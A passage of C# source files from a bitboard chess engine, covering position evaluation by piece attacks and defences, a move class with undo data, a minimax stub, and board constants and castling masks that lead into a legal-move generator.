UInt64 pawnAttacks = ((state.blackPawns & NotAFile) >> 7) | ((state.blackPawns & NotHFile) >> 9);
threatenedWhitePositions = threatenedWhitePositions | (pawnAttacks & state.whitePieces);
defendedBlackPositions = defendedBlackPositions | (pawnAttacks & state.blackPieces);
blackPosition = blackPosition + PawnOpenValue * BitOps.CountBits(pawnAttacks & state.open);
blackPosition = blackPosition + PawnAttackPawnValue * BitOps.CountBits(pawnAttacks & state.whitePawns );
blackPosition = blackPosition + PawnAttackRookValue * BitOps.CountBits(pawnAttacks & state.whiteRooks );
blackPosition = blackPosition + PawnAttackKnightValue * BitOps.CountBits(pawnAttacks & state.whiteKnights);
blackPosition = blackPosition + PawnAttackBishopValue * BitOps.CountBits(pawnAttacks & state.whiteBishops);
blackPosition = blackPosition + PawnAttackQueenValue * BitOps.CountBits(pawnAttacks & state.whiteQueens );
blackPosition = blackPosition + PawnAttackKingValue * BitOps.CountBits(pawnAttacks & state.whiteKing );
blackPosition = blackPosition + PawnDefendPawnValue * BitOps.CountBits(pawnAttacks & state.blackPawns );
blackPosition = blackPosition + PawnDefendRookValue * BitOps.CountBits(pawnAttacks & state.blackRooks );
blackPosition = blackPosition + PawnDefendKnightValue * BitOps.CountBits(pawnAttacks & state.blackKnights);
blackPosition = blackPosition + PawnDefendBishopValue * BitOps.CountBits(pawnAttacks & state.blackBishops);
blackPosition = blackPosition + PawnDefendQueenValue * BitOps.CountBits(pawnAttacks & state.blackQueens );
blackPosition = blackPosition + PawnDefendKingValue * BitOps.CountBits(pawnAttacks & state.blackKing );
}
{ // White Knights
UInt64 knightAttacks = 0;
UInt64 knights = state.whiteKnights;
UInt64 knight;
while(knights != 0)
{
knight = BitOps.MSB(knights);
knights = knights - knight;
knightAttacks = knightAttacks | getKnightAttacks(knight);
}
threatenedBlackPositions = threatenedBlackPositions | (knightAttacks & state.blackPieces);
defendedWhitePositions = defendedWhitePositions | (knightAttacks & state.whitePieces);
whitePosition = whitePosition + KnightOpenValue * BitOps.CountBits(knightAttacks & state.open);
whitePosition = whitePosition + KnightAttackPawnValue * BitOps.CountBits(knightAttacks & state.blackPawns );
whitePosition = whitePosition + KnightAttackRookValue * BitOps.CountBits(knightAttacks & state.blackRooks );
whitePosition = whitePosition + KnightAttackKnightValue * BitOps.CountBits(knightAttacks & state.blackKnights);
whitePosition = whitePosition + KnightAttackBishopValue * BitOps.CountBits(knightAttacks & state.blackBishops);
whitePosition = whitePosition + KnightAttackQueenValue * BitOps.CountBits(knightAttacks & state.blackQueens );
whitePosition = whitePosition + KnightAttackKingValue * BitOps.CountBits(knightAttacks & state.blackKing );
whitePosition = whitePosition + KnightDefendPawnValue * BitOps.CountBits(knightAttacks & state.whitePawns );
whitePosition = whitePosition + KnightDefendRookValue * BitOps.CountBits(knightAttacks & state.whiteRooks );
whitePosition = whitePosition + KnightDefendKnightValue * BitOps.CountBits(knightAttacks & state.whiteKnights);
whitePosition = whitePosition + KnightDefendBishopValue * BitOps.CountBits(knightAttacks & state.whiteBishops);
whitePosition = whitePosition + KnightDefendQueenValue * BitOps.CountBits(knightAttacks & state.whiteQueens );
whitePosition = whitePosition + KnightDefendKingValue * BitOps.CountBits(knightAttacks & state.whiteKing );
}
{ // Black Knights
UInt64 knightAttacks = 0;
UInt64 knights = state.blackKnights;
UInt64 knight;
while(knights != 0)
{
knight = BitOps.MSB(knights);
knights = knights - knight;
knightAttacks = knightAttacks | getKnightAttacks(knight);
}
threatenedWhitePositions = threatenedWhitePositions | (knightAttacks & state.whitePieces);
defendedBlackPositions = defendedBlackPositions | (knightAttacks & state.blackPieces);
blackPosition = blackPosition + KnightOpenValue * BitOps.CountBits(knightAttacks & state.open);
blackPosition = blackPosition + KnightAttackPawnValue * BitOps.CountBits(knightAttacks & state.whitePawns );
blackPosition = blackPosition + KnightAttackRookValue * BitOps.CountBits(knightAttacks & state.whiteRooks );
blackPosition = blackPosition + KnightAttackKnightValue * BitOps.CountBits(knightAttacks & state.whiteKnights);
blackPosition = blackPosition + KnightAttackBishopValue * BitOps.CountBits(knightAttacks & state.whiteBishops);
blackPosition = blackPosition + KnightAttackQueenValue * BitOps.CountBits(knightAttacks & state.whiteQueens );
blackPosition = blackPosition + KnightAttackKingValue * BitOps.CountBits(knightAttacks & state.whiteKing );
blackPosition = blackPosition + KnightDefendPawnValue * BitOps.CountBits(knightAttacks & state.blackPawns );
blackPosition = blackPosition + KnightDefendRookValue * BitOps.CountBits(knightAttacks & state.blackRooks );
blackPosition = blackPosition + KnightDefendKnightValue * BitOps.CountBits(knightAttacks & state.blackKnights);
blackPosition = blackPosition + KnightDefendBishopValue * BitOps.CountBits(knightAttacks & state.blackBishops);
blackPosition = blackPosition + KnightDefendQueenValue * BitOps.CountBits(knightAttacks & state.blackQueens );
blackPosition = blackPosition + KnightDefendKingValue * BitOps.CountBits(knightAttacks & state.blackKing );
}
{ // White Bishops
UInt64 bishopAttacks = 0;
UInt64 addBishopAttacks;
UInt64 bishops = state.whiteBishops;
// UpLeft
addBishopAttacks = (bishops << 9) & NotHFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks << 9) & NotHFile;
}
// End UpLeft
// UpRight
addBishopAttacks = (bishops << 7) & NotAFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks << 7) & NotAFile;
}
// End UpRight
// DownLeft
addBishopAttacks = (bishops >> 7) & NotHFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks >> 7) & NotHFile;
}
// End DownLeft
// DownRight
addBishopAttacks = (bishops >> 9) & NotHFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks >> 9) & NotHFile;
}
// End DownRight
threatenedBlackPositions = threatenedBlackPositions | (bishopAttacks & state.blackPieces);
defendedWhitePositions = defendedWhitePositions | (bishopAttacks & state.whitePieces);
whitePosition = whitePosition + BishopOpenValue * BitOps.CountBits(bishopAttacks & state.open);
whitePosition = whitePosition + BishopAttackPawnValue * BitOps.CountBits(bishopAttacks & state.blackPawns );
whitePosition = whitePosition + BishopAttackRookValue * BitOps.CountBits(bishopAttacks & state.blackRooks );
whitePosition = whitePosition + BishopAttackKnightValue * BitOps.CountBits(bishopAttacks & state.blackKnights);
whitePosition = whitePosition + BishopAttackBishopValue * BitOps.CountBits(bishopAttacks & state.blackBishops);
whitePosition = whitePosition + BishopAttackQueenValue * BitOps.CountBits(bishopAttacks & state.blackQueens );
whitePosition = whitePosition + BishopAttackKingValue * BitOps.CountBits(bishopAttacks & state.blackKing );
whitePosition = whitePosition + BishopDefendPawnValue * BitOps.CountBits(bishopAttacks & state.whitePawns );
whitePosition = whitePosition + BishopDefendRookValue * BitOps.CountBits(bishopAttacks & state.whiteRooks );
whitePosition = whitePosition + BishopDefendKnightValue * BitOps.CountBits(bishopAttacks & state.whiteKnights);
whitePosition = whitePosition + BishopDefendBishopValue * BitOps.CountBits(bishopAttacks & state.whiteBishops);
whitePosition = whitePosition + BishopDefendQueenValue * BitOps.CountBits(bishopAttacks & state.whiteQueens );
whitePosition = whitePosition + BishopDefendKingValue * BitOps.CountBits(bishopAttacks & state.whiteKing );
} // End White Bishops
{ // Black Bishops
UInt64 bishopAttacks = 0;
UInt64 addBishopAttacks;
UInt64 bishops = state.blackBishops;
// UpLeft
addBishopAttacks = (bishops << 9) & NotHFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks << 9) & NotHFile;
}
// End UpLeft
// UpRight
addBishopAttacks = (bishops << 7) & NotAFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks << 7) & NotAFile;
}
// End UpRight
// DownLeft
addBishopAttacks = (bishops >> 7) & NotHFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks >> 7) & NotHFile;
}
// End DownLeft
// DownRight
addBishopAttacks = (bishops >> 9) & NotHFile;
while(addBishopAttacks != 0)
{
bishopAttacks = bishopAttacks | addBishopAttacks;
addBishopAttacks = addBishopAttacks & state.open;
addBishopAttacks = (addBishopAttacks >> 9) & NotHFile;
}
// End DownRight
threatenedWhitePositions = threatenedWhitePositions | (bishopAttacks & state.whitePieces);
defendedBlackPositions = defendedBlackPositions | (bishopAttacks & state.blackPieces);
blackPosition = blackPosition + BishopOpenValue * BitOps.CountBits(bishopAttacks & state.open);
blackPosition = blackPosition + BishopAttackPawnValue * BitOps.CountBits(bishopAttacks & state.whitePawns );
blackPosition = blackPosition + BishopAttackRookValue * BitOps.CountBits(bishopAttacks & state.whiteRooks );
blackPosition = blackPosition + BishopAttackKnightValue * BitOps.CountBits(bishopAttacks & state.whiteKnights);
blackPosition = blackPosition + BishopAttackBishopValue * BitOps.CountBits(bishopAttacks & state.whiteBishops);
blackPosition = blackPosition + BishopAttackQueenValue * BitOps.CountBits(bishopAttacks & state.whiteQueens );
blackPosition = blackPosition + BishopAttackKingValue * BitOps.CountBits(bishopAttacks & state.whiteKing );
blackPosition = blackPosition + BishopDefendPawnValue * BitOps.CountBits(bishopAttacks & state.blackPawns );
blackPosition = blackPosition + BishopDefendRookValue * BitOps.CountBits(bishopAttacks & state.blackRooks );
blackPosition = blackPosition + BishopDefendKnightValue * BitOps.CountBits(bishopAttacks & state.blackKnights);
blackPosition = blackPosition + BishopDefendBishopValue * BitOps.CountBits(bishopAttacks & state.blackBishops);
blackPosition = blackPosition + BishopDefendQueenValue * BitOps.CountBits(bishopAttacks & state.blackQueens );
blackPosition = blackPosition + BishopDefendKingValue * BitOps.CountBits(bishopAttacks & state.blackKing );
} // End Black Bishops
{ // White Rooks
UInt64 rookAttacks = 0;
UInt64 addRookAttacks;
UInt64 rooks = state.whiteRooks;
// Up
addRookAttacks = rooks << 8;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = addRookAttacks << 8;
}
// End Up
// Down
addRookAttacks = rooks >> 8;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = addRookAttacks >> 8;
}
// End Down
// Left
addRookAttacks = (rooks << 1) & NotHFile;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = (addRookAttacks << 1) & NotHFile;
}
// End Left
// Right
addRookAttacks = (rooks >> 1) & NotAFile;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = (addRookAttacks >> 1) & NotAFile;
}
// End Right
threatenedBlackPositions = threatenedBlackPositions | (rookAttacks & state.blackPieces);
defendedWhitePositions = defendedWhitePositions | (rookAttacks & state.whitePieces);
whitePosition = whitePosition + RookOpenValue * BitOps.CountBits(rookAttacks & state.open);
whitePosition = whitePosition + RookAttackPawnValue * BitOps.CountBits(rookAttacks & state.blackPawns );
whitePosition = whitePosition + RookAttackRookValue * BitOps.CountBits(rookAttacks & state.blackRooks );
whitePosition = whitePosition + RookAttackKnightValue * BitOps.CountBits(rookAttacks & state.blackKnights);
whitePosition = whitePosition + RookAttackBishopValue * BitOps.CountBits(rookAttacks & state.blackBishops);
whitePosition = whitePosition + RookAttackQueenValue * BitOps.CountBits(rookAttacks & state.blackQueens );
whitePosition = whitePosition + RookAttackKingValue * BitOps.CountBits(rookAttacks & state.blackKing );
whitePosition = whitePosition + RookDefendPawnValue * BitOps.CountBits(rookAttacks & state.whitePawns );
whitePosition = whitePosition + RookDefendRookValue * BitOps.CountBits(rookAttacks & state.whiteRooks );
whitePosition = whitePosition + RookDefendKnightValue * BitOps.CountBits(rookAttacks & state.whiteKnights);
whitePosition = whitePosition + RookDefendBishopValue * BitOps.CountBits(rookAttacks & state.whiteBishops);
whitePosition = whitePosition + RookDefendQueenValue * BitOps.CountBits(rookAttacks & state.whiteQueens );
whitePosition = whitePosition + RookDefendKingValue * BitOps.CountBits(rookAttacks & state.whiteKing );
} // End White Rooks
{ // Black Rooks
UInt64 rookAttacks = 0;
UInt64 addRookAttacks;
UInt64 rooks = state.blackRooks;
// Up
addRookAttacks = rooks << 8;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = addRookAttacks << 8;
}
// End Up
// Down
addRookAttacks = rooks >> 8;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = addRookAttacks >> 8;
}
// End Down
// Left
addRookAttacks = (rooks << 1) & NotHFile;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = (addRookAttacks << 1) & NotHFile;
}
// End Left
// Right
addRookAttacks = (rooks >> 1) & NotAFile;
while(addRookAttacks != 0)
{
rookAttacks = rookAttacks | addRookAttacks;
addRookAttacks = addRookAttacks & state.open;
addRookAttacks = (addRookAttacks >> 1) & NotAFile;
}
// End Right
threatenedWhitePositions = threatenedWhitePositions | (rookAttacks & state.whitePieces);
defendedBlackPositions = defendedBlackPositions | (rookAttacks & state.blackPieces);
blackPosition = blackPosition + RookOpenValue * BitOps.CountBits(rookAttacks & state.open);
blackPosition = blackPosition + RookAttackPawnValue * BitOps.CountBits(rookAttacks & state.whitePawns );
blackPosition = blackPosition + RookAttackRookValue * BitOps.CountBits(rookAttacks & state.whiteRooks );
blackPosition = blackPosition + RookAttackKnightValue * BitOps.CountBits(rookAttacks & state.whiteKnights);
blackPosition = blackPosition + RookAttackBishopValue * BitOps.CountBits(rookAttacks & state.whiteBishops);
blackPosition = blackPosition + RookAttackQueenValue * BitOps.CountBits(rookAttacks & state.whiteQueens );
blackPosition = blackPosition + RookAttackKingValue * BitOps.CountBits(rookAttacks & state.whiteKing );
blackPosition = blackPosition + RookDefendPawnValue * BitOps.CountBits(rookAttacks & state.blackPawns );
blackPosition = blackPosition + RookDefendRookValue * BitOps.CountBits(rookAttacks & state.blackRooks );
blackPosition = blackPosition + RookDefendKnightValue * BitOps.CountBits(rookAttacks & state.blackKnights);
blackPosition = blackPosition + RookDefendBishopValue * BitOps.CountBits(rookAttacks & state.blackBishops);
blackPosition = blackPosition + RookDefendQueenValue * BitOps.CountBits(rookAttacks & state.blackQueens );
blackPosition = blackPosition + RookDefendKingValue * BitOps.CountBits(rookAttacks & state.blackKing );
} // End Black Rooks
{ // White Queens
UInt64 queenAttacks = 0;
UInt64 addQueenAttacks;
UInt64 queens = state.whiteQueens;
// UpLeft
addQueenAttacks = (queens << 9) & NotHFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks << 9) & NotHFile;
}
// End UpLeft
// UpRight
addQueenAttacks = (queens << 7) & NotAFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks << 7) & NotAFile;
}
// End UpRight
// DownLeft
addQueenAttacks = (queens >> 7) & NotHFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks >> 7) & NotHFile;
}
// End DownLeft
// DownRight
addQueenAttacks = (queens >> 9) & NotAFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks >> 9) & NotAFile;
}
// End DownRight
// Up
addQueenAttacks = queens << 8;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = addQueenAttacks << 8;
}
// End Up
// Down
addQueenAttacks = queens >> 8;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = addQueenAttacks >> 8;
}
// End Down
// Left
addQueenAttacks = (queens << 1) & NotHFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks << 1) & NotHFile;
}
// End Left
// Right
addQueenAttacks = (queens >> 1) & NotAFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks >> 1) & NotAFile;
}
// End Right
threatenedBlackPositions = threatenedBlackPositions | (queenAttacks & state.blackPieces);
defendedWhitePositions = defendedWhitePositions | (queenAttacks & state.whitePieces);
whitePosition = whitePosition + QueenOpenValue * BitOps.CountBits(queenAttacks & state.open);
whitePosition = whitePosition + QueenAttackPawnValue * BitOps.CountBits(queenAttacks & state.blackPawns );
whitePosition = whitePosition + QueenAttackRookValue * BitOps.CountBits(queenAttacks & state.blackRooks );
whitePosition = whitePosition + QueenAttackKnightValue * BitOps.CountBits(queenAttacks & state.blackKnights);
whitePosition = whitePosition + QueenAttackBishopValue * BitOps.CountBits(queenAttacks & state.blackBishops);
whitePosition = whitePosition + QueenAttackQueenValue * BitOps.CountBits(queenAttacks & state.blackQueens );
whitePosition = whitePosition + QueenAttackKingValue * BitOps.CountBits(queenAttacks & state.blackKing );
whitePosition = whitePosition + QueenDefendPawnValue * BitOps.CountBits(queenAttacks & state.whitePawns );
whitePosition = whitePosition + QueenDefendRookValue * BitOps.CountBits(queenAttacks & state.whiteRooks );
whitePosition = whitePosition + QueenDefendKnightValue * BitOps.CountBits(queenAttacks & state.whiteKnights);
whitePosition = whitePosition + QueenDefendBishopValue * BitOps.CountBits(queenAttacks & state.whiteBishops);
whitePosition = whitePosition + QueenDefendQueenValue * BitOps.CountBits(queenAttacks & state.whiteQueens );
whitePosition = whitePosition + QueenDefendKingValue * BitOps.CountBits(queenAttacks & state.whiteKing );
} // End White Queens
{ // Black Queens
UInt64 queenAttacks = 0;
UInt64 addQueenAttacks;
UInt64 queens = state.blackQueens;
// UpLeft
addQueenAttacks = (queens << 9) & NotHFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks << 9) & NotHFile;
}
// End UpLeft
// UpRight
addQueenAttacks = (queens << 7) & NotAFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks << 7) & NotAFile;
}
// End UpRight
// DownLeft
addQueenAttacks = (queens >> 7) & NotHFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks >> 7) & NotHFile;
}
// End DownLeft
// DownRight
addQueenAttacks = (queens >> 9) & NotAFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks >> 9) & NotAFile;
}
// End DownRight
// Up
addQueenAttacks = queens << 8;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = addQueenAttacks << 8;
}
// End Up
// Down
addQueenAttacks = queens >> 8;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = addQueenAttacks >> 8;
}
// End Down
// Left
addQueenAttacks = (queens << 1) & NotHFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks << 1) & NotHFile;
}
// End Left
// Right
addQueenAttacks = (queens >> 1) & NotAFile;
while(addQueenAttacks != 0)
{
queenAttacks = queenAttacks | addQueenAttacks;
addQueenAttacks = addQueenAttacks & state.open;
addQueenAttacks = (addQueenAttacks >> 1) & NotAFile;
}
// End Right
threatenedWhitePositions = threatenedWhitePositions | (queenAttacks & state.whitePieces);
defendedBlackPositions = defendedBlackPositions | (queenAttacks & state.blackPieces);
blackPosition = blackPosition + QueenOpenValue * BitOps.CountBits(queenAttacks & state.open);
blackPosition = blackPosition + QueenAttackPawnValue * BitOps.CountBits(queenAttacks & state.whitePawns );
blackPosition = blackPosition + QueenAttackRookValue * BitOps.CountBits(queenAttacks & state.whiteRooks );
blackPosition = blackPosition + QueenAttackKnightValue * BitOps.CountBits(queenAttacks & state.whiteKnights);
blackPosition = blackPosition + QueenAttackBishopValue * BitOps.CountBits(queenAttacks & state.whiteBishops);
blackPosition = blackPosition + QueenAttackQueenValue * BitOps.CountBits(queenAttacks & state.whiteQueens );
blackPosition = blackPosition + QueenAttackKingValue * BitOps.CountBits(queenAttacks & state.whiteKing );
blackPosition = blackPosition + QueenDefendPawnValue * BitOps.CountBits(queenAttacks & state.blackPawns );
blackPosition = blackPosition + QueenDefendRookValue * BitOps.CountBits(queenAttacks & state.blackRooks );
blackPosition = blackPosition + QueenDefendKnightValue * BitOps.CountBits(queenAttacks & state.blackKnights);
blackPosition = blackPosition + QueenDefendBishopValue * BitOps.CountBits(queenAttacks & state.blackBishops);
blackPosition = blackPosition + QueenDefendQueenValue * BitOps.CountBits(queenAttacks & state.blackQueens );
blackPosition = blackPosition + QueenDefendKingValue * BitOps.CountBits(queenAttacks & state.blackKing );
} // End Black Queens
{ // White King
UInt64 kingAttacks = getKingAttacks(state.whiteKing);
threatenedBlackPositions = threatenedBlackPositions | (kingAttacks & state.blackPieces);
defendedWhitePositions = defendedWhitePositions | (kingAttacks & state.whitePieces);
whitePosition = whitePosition + KingOpenValue * BitOps.CountBits(kingAttacks & state.open);
whitePosition = whitePosition + KingAttackPawnValue * BitOps.CountBits(kingAttacks & state.blackPawns );
whitePosition = whitePosition + KingAttackRookValue * BitOps.CountBits(kingAttacks & state.blackRooks );
whitePosition = whitePosition + KingAttackKnightValue * BitOps.CountBits(kingAttacks & state.blackKnights);
whitePosition = whitePosition + KingAttackBishopValue * BitOps.CountBits(kingAttacks & state.blackBishops);
whitePosition = whitePosition + KingDefendPawnValue * BitOps.CountBits(kingAttacks & state.whitePawns );
whitePosition = whitePosition + KingDefendRookValue * BitOps.CountBits(kingAttacks & state.whiteRooks );
whitePosition = whitePosition + KingDefendKnightValue * BitOps.CountBits(kingAttacks & state.whiteKnights);
whitePosition = whitePosition + KingDefendBishopValue * BitOps.CountBits(kingAttacks & state.whiteBishops);
whitePosition = whitePosition + KingDefendQueenValue * BitOps.CountBits(kingAttacks & state.whiteQueens );
} // End White King
{ // Black King
UInt64 kingAttacks = getKingAttacks(state.blackKing);
threatenedWhitePositions = threatenedWhitePositions | (kingAttacks & state.whitePieces);
defendedBlackPositions = defendedBlackPositions | (kingAttacks & state.blackPieces);
blackPosition = blackPosition + KingOpenValue * BitOps.CountBits(kingAttacks & state.open);
blackPosition = blackPosition + KingAttackPawnValue * BitOps.CountBits(kingAttacks & state.whitePawns );
blackPosition = blackPosition + KingAttackRookValue * BitOps.CountBits(kingAttacks & state.whiteRooks );
blackPosition = blackPosition + KingAttackKnightValue * BitOps.CountBits(kingAttacks & state.whiteKnights);
blackPosition = blackPosition + KingAttackBishopValue * BitOps.CountBits(kingAttacks & state.whiteBishops);
blackPosition = blackPosition + KingDefendPawnValue * BitOps.CountBits(kingAttacks & state.blackPawns );
blackPosition = blackPosition + KingDefendRookValue * BitOps.CountBits(kingAttacks & state.blackRooks );
blackPosition = blackPosition + KingDefendKnightValue * BitOps.CountBits(kingAttacks & state.blackKnights);
blackPosition = blackPosition + KingDefendBishopValue * BitOps.CountBits(kingAttacks & state.blackBishops);
blackPosition = blackPosition + KingDefendQueenValue * BitOps.CountBits(kingAttacks & state.blackQueens );
} // End Black King
threatenedWhitePositions = threatenedWhitePositions & ~defendedWhitePositions;
threatenedBlackPositions = threatenedBlackPositions & ~defendedBlackPositions;
whitePosition += defendedBonus * BitOps.CountBits(defendedWhitePositions) - threatenedPenalty * BitOps.CountBits(threatenedWhitePositions) * turnWhitePenalty;
blackPosition += defendedBonus * BitOps.CountBits(defendedBlackPositions) - threatenedPenalty * BitOps.CountBits(threatenedBlackPositions) * turnBlackPenalty;
if (playerIsWhite)
{
return (Int64)(potentialWeight*(whitePotential - blackPotential) + positionWeight*(whitePosition - blackPosition));
}
{
return (Int64)(potentialWeight*(blackPotential - whitePotential) + positionWeight*(blackPosition - whitePosition));
}
}
}
<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
public class XAction
{
public UInt64 srcTile;
public UInt64 destTile;
public PieceType pieceType;
public PieceType attackType;
public PieceType promotionType;
public XAction( UInt64 src,
UInt64 dest,
PieceType type,
PieceType attack=PieceType.None,
PieceType promote=PieceType.None
)
{
this.srcTile = src;
this.destTile = dest;
this.pieceType = type;
this.attackType = attack;
this.promotionType = promote;
}
public override int GetHashCode()
{
return ( this.srcTile.GetHashCode() * 23 +
this.destTile.GetHashCode() * 17 +
(int)this.promotionType * 67
);
}
public bool Equals(XAction action)
{
return ( (this.srcTile == action.srcTile) &&
(this.destTile == action.destTile) &&
(this.promotionType == action.promotionType)
);
}
}
public class XActionUndoData
{
public UInt64 zobristHash;
public byte castleSettings;
public byte halfMoveClock;
public bool whiteCheck;
public bool blackCheck;
public XActionUndoData(UInt64 zobristHash, byte castleSettings, byte halfMoveClock, bool whiteCheck, bool blackCheck)
{
this.zobristHash = zobristHash;
this.castleSettings = castleSettings;
this.halfMoveClock = halfMoveClock;
this.whiteCheck = whiteCheck;
this.blackCheck = blackCheck;
}
}
<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
public class Minimax<NodeType>
{
public Minimax(NodeType node)
{
}
}
<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
public enum PieceType
{
// Castle is included for ease of use
King, Queen, Bishop, Rook, Knight, EnPass, Pawn, Castle, None
};
public static class ChessRules
{
private static Random rand = new Random();
public static readonly UInt64 Rank1 = 0x00000000000000FF;
public static readonly UInt64 Rank2 = 0x000000000000FF00;
public static readonly UInt64 Rank3 = 0x0000000000FF0000;
public static readonly UInt64 Rank4 = 0x00000000FF000000;
public static readonly UInt64 Rank5 = 0x000000FF00000000;
public static readonly UInt64 Rank6 = 0x0000FF0000000000;
public static readonly UInt64 Rank7 = 0x00FF000000000000;
public static readonly UInt64 Rank8 = 0xFF00000000000000;
public static readonly UInt64[] Ranks = {Rank1, Rank2, Rank3, Rank4, Rank5, Rank6, Rank7, Rank8};
public static readonly UInt64 AFile = 0x8080808080808080;
public static readonly UInt64 BFile = 0x4040404040404040;
public static readonly UInt64 CFile = 0x2020202020202020;
public static readonly UInt64 DFile = 0x1010101010101010;
public static readonly UInt64 EFile = 0x0808080808080808;
public static readonly UInt64 FFile = 0x0404040404040404;
public static readonly UInt64 GFile = 0x0202020202020202;
public static readonly UInt64 HFile = 0x0101010101010101;
public static readonly UInt64[] Files = {AFile, BFile, CFile, DFile, EFile, FFile, GFile, HFile};
public static readonly UInt64 NotAFile = ~AFile;
public static readonly UInt64 NotHFile = ~HFile;
/* For Castling */
public static readonly UInt64 kingStarts = 0x0800000000000008;
public static readonly UInt64 kingDests = 0x2200000000000022;
public static readonly UInt64 whiteKingStart = 0x0000000000000008;
public static readonly UInt64 whiteKSRookStart = 0x0000000000000001;
public static readonly UInt64 whiteQSRookStart = 0x0000000000000080;
public static readonly UInt64 whiteKSSpace = 0x0000000000000006;
public static readonly UInt64 whiteKSThrough = 0x0000000000000004;
public static readonly UInt64 whiteKSDest = 0x0000000000000002;
public static readonly UInt64 whiteKSRookDest = 0x0000000000000004;
public static readonly UInt64 whiteQSSpace = 0x0000000000000070;
public static readonly UInt64 whiteQSThrough = 0x0000000000000010;
public static readonly UInt64 whiteQSDest = 0x0000000000000020;
public static readonly UInt64 whiteQSRookDest = 0x0000000000000010;
public static readonly UInt64 blackKingStart = 0x0800000000000000;
public static readonly UInt64 blackKSRookStart = 0x0100000000000000;
public static readonly UInt64 blackQSRookStart = 0x8000000000000000;
public static readonly UInt64 blackKSSpace = 0x0600000000000000;
public static readonly UInt64 blackKSThrough = 0x0400000000000000;
public static readonly UInt64 blackKSDest = 0x0200000000000000;
public static readonly UInt64 blackKSRookDest = 0x0400000000000000;
public static readonly UInt64 blackQSSpace = 0x7000000000000000;
public static readonly UInt64 blackQSThrough = 0x1000000000000000;
public static readonly UInt64 blackQSDest = 0x2000000000000000;
public static readonly UInt64 blackQSRookDest = 0x1000000000000000;
public static List<XAction> LegalMoves(XBoard state)
{
var neighbors = new List<XAction>();
var invalidNeighbors = new HashSet<XAction>();
var opponentPT = new Dictionary<UInt64, PieceType>();
{ // Precompute an opponent piece type dict, we use this for O(1) retrieval of attacked type for XAction construction
